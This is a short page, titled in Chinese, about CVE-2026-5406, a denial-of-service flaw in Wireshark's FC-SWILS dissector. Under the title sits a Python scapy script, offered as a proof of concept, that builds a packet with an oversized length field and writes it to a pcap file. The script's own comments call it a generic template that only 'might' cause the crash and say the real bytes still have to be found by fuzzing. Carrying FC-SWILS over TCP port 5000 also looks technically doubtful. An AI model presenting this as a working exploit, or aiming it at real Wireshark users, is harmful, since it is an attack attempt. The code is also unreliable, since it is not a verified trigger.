CVE-2026-5406 Wireshark FC-SWILS协议拒绝服务漏洞

from scapy.all import * # Define a malformed FC-SWILS packet structure # This is a generic PoC template to generate a pcap that might trigger the crash # Actual payload bytes would need to be fuzzed to find the specific crash trigger class FC_SWILS(Packet): name = "FC-SWILS" fields_desc = [ ByteField("version", 1), ByteField("reserved", 0), ShortField("length", 0) ] # Create a packet with potentially malicious length field malicious_packet = Ether()/IP()/TCP(dport=5000)/FC_SWILS(length=0xFFFF) # Save to pcap file wrpcap("cve_2026_5406_poc.pcap", malicious_packet) print("PoC file generated: cve_2026_5406_poc.pcap")